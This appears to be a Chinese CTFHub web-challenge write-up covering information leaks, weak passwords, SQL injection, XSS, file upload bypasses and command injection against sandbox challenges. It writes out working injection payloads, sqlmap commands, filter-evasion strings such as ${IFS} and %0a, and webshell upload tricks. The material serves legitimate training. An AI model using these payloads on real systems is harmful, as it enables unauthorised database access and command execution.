【CTFHUB】Web技能树

简介: 【CTFHUB】Web技能树

Web

HTTP协议

请求方式

image.png

 

302跳转

image.png

 

image.png

 

基础认证

image.png

image.png

image.png

 

响应包源代码

image.png

 

信息泄露

目录遍历

image.png

 

phpinfo

image.png

 

备份文件下载

网站源码

image.pngimage.png

image.png

 

bak文件

image.pngimage.png

 

vim缓存

image.png

下载下来放到linux中

在文件前面加的点(.)   .index.php.swp

然后运行 vi -r index.php

image.png

image.png

 

.DS_Store

image.png

记事本打开

image.png

image.png

 

Git泄露

Log

python git_extract.py http://challenge-8cff71d12c02de35.sandbox.ctfhub.com:10080/.git/

image.png

 

Stash

同上

 

Index

同上

 

SVN泄露

使用dvcs-ripper工具

image.png

image.png

 

HG泄露

使用dvcs-ripper工具

image.png

image.png

 

 

密码口令

弱口令

admin 123456

 

默认口令

百度搜索亿邮邮件网关默认口令

image.png

 

 

 

SQL注入

整数型注入

image.png

 

字符型注入

image.png

 

报错注入

extractvalue函数报错:       1 and ( extractvalue( 'anything',concat( '~', (select database()) ) ) );

updatexml函数报错:          1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

只能显示32位:

image.png

substr(字符串,开始位置,长度)

image.png

 

布尔盲注

sqlmap

sqlmap -u "http://challenge-520521e9124c0be8.sandbox.ctfhub.com:10080/?id=1" --dbs -technique B

 

数据库 sqli   表 flag   字段 flag

 

时间盲注image.png

sqlmap

sqlmap -u " http://challenge-58442e11e1306e17.sandbox.ctfhub.com:10080/?id=1" --dbs -technique T

 

MySQL结构

-1 union select 1, group_concat(djbtjjrnuq) from sqli.pqfzaflkkt;

 

cookie注入

sqlmap -u " http://challenge-52d3494f9e4a406f.sandbox.ctfhub.com:10080/" --cookie "id=1" --level 2 --dbs 

 

UA注入

user-agent:   -1 union select 1,group_concat(hddxcgzzsv) from sqli.bgerzmdwpi;#

sqlmap:

sqlmap -u "http://challenge-f7a6b5d5665981cc.sandbox.ctfhub.com:10080/" --user-agent "123" --level 3 --dbs -technique U --dbms

 

Refer注入

同上,只不过在referer中输入SQL语句

 

XSS

反射型

image.png

image.png

 

文件上传

无验证

image.png

image.png

image.png

image.png

前端验证

把PHP文件后缀改为jpg,抓包再改回php

image.png

.htaccess

上传.htaccess和hhh.jpg

image.png

 

MIME绕过

正常上传,抓包,将content-type改为 image/jpeg

image.png

00截断

image.png

双写后缀

image.png

文件头检测

将一句话马改为jpg后缀,抓包,修改后缀为php,并添加gif头

image.png

 

RCE

命令注入

127.0.0.1 & ls

 

过滤cat

127.0.0.1 & more flag_162822816029866.php

image.png

 

过滤空格

使用${IFS}代替空格(可以代替空格的有IFS$9、%09、%0a、<、>、<>、{,}、${IFS}等)

 

过滤目录分隔符

使用;符号分割命令

127.0.0.1 & ls

发现flag_is_here目录

127.0.0.1 & cd flag_is_here;ls

发现flag_44052408916433.php文件

127.0.0.1& cd flag_is_here;ls;cat flag_44052408916433.php

查看源代码得到flag

 

过滤运算符

127.0.0.1 ; cat flag_991932693945.php

 

综合过滤练习

过滤了|,&,;, ,/,cat,flag,ctfhub

%0a(换行符)可以代替;符号,但是要在url处输入,不然会被再次转义

%09或者${IFS}等,可以替代空格

通配符 *   ?

 

127.0.0.1%09%0a%09cd%09fla?_is_here%0amore%09fla?_260832613315632.php#

 

 

 


相关文章
ctfhub->web->web前置技能->HTTP协议->请求方式
ctfhub->web->web前置技能->HTTP协议->请求方式
|
28天前
|
XML JSON API
ServiceStack:不仅仅是一个高性能Web API和微服务框架,更是一站式解决方案——深入解析其多协议支持及简便开发流程,带您体验前所未有的.NET开发效率革命
【10月更文挑战第9天】ServiceStack 是一个高性能的 Web API 和微服务框架,支持 JSON、XML、CSV 等多种数据格式。它简化了 .NET 应用的开发流程,提供了直观的 RESTful 服务构建方式。ServiceStack 支持高并发请求和复杂业务逻辑,安装简单,通过 NuGet 包管理器即可快速集成。示例代码展示了如何创建一个返回当前日期的简单服务,包括定义请求和响应 DTO、实现服务逻辑、配置路由和宿主。ServiceStack 还支持 WebSocket、SignalR 等实时通信协议,具备自动验证、自动过滤器等丰富功能,适合快速搭建高性能、可扩展的服务端应用。
87 3
|
9天前
|
设计模式 前端开发 数据库
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第27天】本文介绍了Django框架在Python Web开发中的应用,涵盖了Django与Flask等框架的比较、项目结构、模型、视图、模板和URL配置等内容,并展示了实际代码示例,帮助读者快速掌握Django全栈开发的核心技术。
87 44
|
5天前
|
前端开发 API 开发者
Python Web开发者必看!AJAX、Fetch API实战技巧,让前后端交互如丝般顺滑!
在Web开发中,前后端的高效交互是提升用户体验的关键。本文通过一个基于Flask框架的博客系统实战案例,详细介绍了如何使用AJAX和Fetch API实现不刷新页面查看评论的功能。从后端路由设置到前端请求处理,全面展示了这两种技术的应用技巧,帮助Python Web开发者提升项目质量和开发效率。
17 1
|
8天前
|
XML 安全 PHP
PHP与SOAP Web服务开发:基础与进阶教程
本文介绍了PHP与SOAP Web服务的基础和进阶知识,涵盖SOAP的基本概念、PHP中的SoapServer和SoapClient类的使用方法,以及服务端和客户端的开发示例。此外,还探讨了安全性、性能优化等高级主题,帮助开发者掌握更高效的Web服务开发技巧。
|
10天前
|
安全 数据库 开发者
Python Web开发:Django框架下的全栈开发实战
【10月更文挑战第26天】本文详细介绍了如何在Django框架下进行全栈开发,包括环境安装与配置、创建项目和应用、定义模型类、运行数据库迁移、创建视图和URL映射、编写模板以及启动开发服务器等步骤,并通过示例代码展示了具体实现过程。
26 2
WK
|
10天前
|
安全 Java 编译器
C++和Java哪个更适合开发web网站
在Web开发领域,C++和Java各具优势。C++以其高性能、低级控制和跨平台性著称,适用于需要高吞吐量和低延迟的场景,如实时交易系统和在线游戏服务器。Java则凭借其跨平台性、丰富的生态系统和强大的安全性,广泛应用于企业级Web开发,如企业管理系统和电子商务平台。选择时需根据项目需求和技术储备综合考虑。
WK
12 0
|
1月前
|
设计模式 测试技术 持续交付
开发复杂Web应用程序
【10月更文挑战第3天】开发复杂Web应用程序
34 2
|
1月前
|
Java PHP
PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。理解其垃圾回收机制有助于开发高效稳定的PHP应用。
【10月更文挑战第1天】PHP作为广受青睐的服务器端脚本语言,在Web开发中占据重要地位。其垃圾回收机制包括引用计数与循环垃圾回收,对提升应用性能和稳定性至关重要。本文通过具体案例分析,详细探讨PHP垃圾回收机制的工作原理,特别是如何解决循环引用问题。在PHP 8中,垃圾回收机制得到进一步优化,提高了效率和准确性。理解这些机制有助于开发高效稳定的PHP应用。
43 3
|
12天前
|
JavaScript 前端开发 Java
SpringBoot_web开发-webjars&静态资源映射规则
https://www.91chuli.com/ 举例:jquery前端框架
12 0
下一篇
无影云桌面